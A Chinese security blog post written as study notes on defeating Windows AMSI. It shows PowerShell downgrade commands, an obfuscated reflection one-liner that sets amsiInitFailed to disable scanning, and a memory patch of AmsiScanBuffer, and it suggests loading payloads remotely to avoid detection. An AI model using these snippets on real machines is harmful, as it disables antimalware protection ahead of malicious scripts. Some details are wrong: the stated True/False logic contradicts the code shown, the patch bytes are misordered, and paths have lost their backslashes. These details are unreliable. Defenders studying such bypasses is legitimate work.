AMSI对抗

2022-06-29 8,132

最近跟着L.N.师傅的星球专题学习了一下AMSI Bypass相关的内容,收获颇丰,。


背景

AMSI(Antimalware Scan Interface)即反恶意软件扫描接口,是微软推出的安全模块。

AMSI实质上是一个DLL文件,位于 C:WindowsSystem32amsi.dll,提供了以下接口:

  • AmsiCloseSession:关闭由 AmsiOpenSession 打开的会话。

  • AmsiInitialize:初始化 AMSI API。

  • AmsiNotifyOperation:向反恶意软件提供程序发送任意操作的通知。

  • AmsiOpenSession:打开可在其中关联多个扫描请求的会话。

  • AmsiResultIsMalware:确定扫描结果是否指示应阻止内容。

  • AmsiScanBuffer:扫描缓冲区中的内容中寻找恶意软件。

  • AmsiScanString:扫描字符串中的恶意软件。

  • AmsiUninitialize:删除 AmsiInitialize最初打开的 AMSI API 实例。

     powershell.exe会加载 amsi.dll: 

在Windows中,AMSI被集成于以下场景和功能:

  • UAC

  • powershell

  • Windows脚本(cscript、wscript、JavaScript、VBScript)

  • .NET Assembly

  • WMI

对抗方法

1. 降级

默认使用环境:Windows 10

powershell 2.0及以下版本并没有接入AMSI,通过降级即可绕过。

目前常用的操作系统和预装powershell版本如下:

  • Windows Server 2008:1.0

  • Windows 7、Windows Server 2008 R2:2.0

  • Windows Server 2012:3.0

  • Windows Server 2012 R2:4.0

  • Windows 10:5.0

AMSI实际从Windows 10和Windows Server 2016开始默认安装,但是只有Windows 10默认可以降级到2.0,因为2.0的powershell需要.NET2/3/3.5 Runtime支持,Windows 10默认是安装了.NET Framework 3.5的。这并不绝对,要根据实际环境决定,管理员有可能出于某些工具或服务的需要安装了其他版本的.NET Framework.

无管理员权限时可通过查询注册表来获取安装的.NET Framework版本:


Get-ChildItem 'HKLM:SOFTWAREMicrosoftNET Framework SetupNDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)p{L}'} | Select -ExpandProperty Version


有管理员权限可以直接查询是否支持powershell 2.0:


Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 #Windows 10

Get-WindowsFeature PowerShell-V2 #Windows Server 2016


以2.0版本启动powershell:

powershell.exe -v -version 2

或在脚本前添加:

#requires -version 2

之后使用支持2.0的攻击脚本就能不受AMSI干扰。

2. 脚本混淆

AMSI实际上是提供给杀软的接口,混淆实际上是对抗杀软的过程。需要混淆的点实际上就是敏感的地方,如命令、函数、对象、参数等,常用方法有:

  • 大小写与特殊符号

  • 字符串变换

  • 变量替换

  • 编码

  • ……

3. 关闭AMSI

既然AMSI是接口,那么是否可以让这个接口失效?对 System.Management.Automation.dll进行逆向,可以看到在 System.Management.Automation.AmsiUtils类中有一个私有静态变量 amsiInitFailed,它在 ScanContent中被使用:可以看到这一句:

if (AmsiUtils.amsiInitFailed) 
{
  return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}

amsiInitFailed值为 False时会返回 AMSI_RESULT_NOT_DETECTED,也就是未检测到,所以通过修改这个值就能达到让AMSI失效的目的。


命令如下:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)


目前使用这条命令已经不能关闭AMSI了,应该是在Windows Defender里做了策略:但实际很好绕过,只需要简单混淆一下即可:


$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)


4. 内存patch

在AMSI的接口中,这两个的主要功能是扫描恶意软件:AmsiScanBufferAmsiScanString

来看一下 AmsiScanString实际最终调用的是 AmsiScanBuffer,那直接看它就行。

可以看到许多if进去都是返回 0x80070057,根据if的条件推断一下,应该是返回了一个错误值,查询文档可以得知这里返回的是 HRESULT错误代码,也就是 E_INVALIDARG,表示一个或多个参数无效。

再看看 AmsiScanBuffer原型:

HRESULT AmsiScanBuffer(  HAMSICONTEXT amsiContext,  PVOID        buffer,  ULONG        length,  LPCWSTR      contentName,  HAMSISESSION amsiSession,  AMSI_RESULT  *result);

扫描结果有害还是无害是由 result决定的,那么强制让其返回错误结束流程会不会影响结果?动手试一下,不绕过的时候会杀这个字符串:用WinDbg开始调试,看一下 AmsiScanBuffer下面的汇编含义是返回对应的错误码:

mov eax,0x80070057 ret

转为机器码就是:c380070057b8(小端序翻转) 将机器码填入函数起始地址并测试:

要注意,这里只是绕过了AMSI,文件如果落地,还有可能被杀软干掉,远程加载即可。

参考文章

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://sec-in.com/article/1115 https://fluidattacks.com/blog/amsi-bypass/

本文作者:白袍

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/182106.html

Tags:
评论  (0)
快来写下你的想法吧!

白袍

文章数:5 积分: 40

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号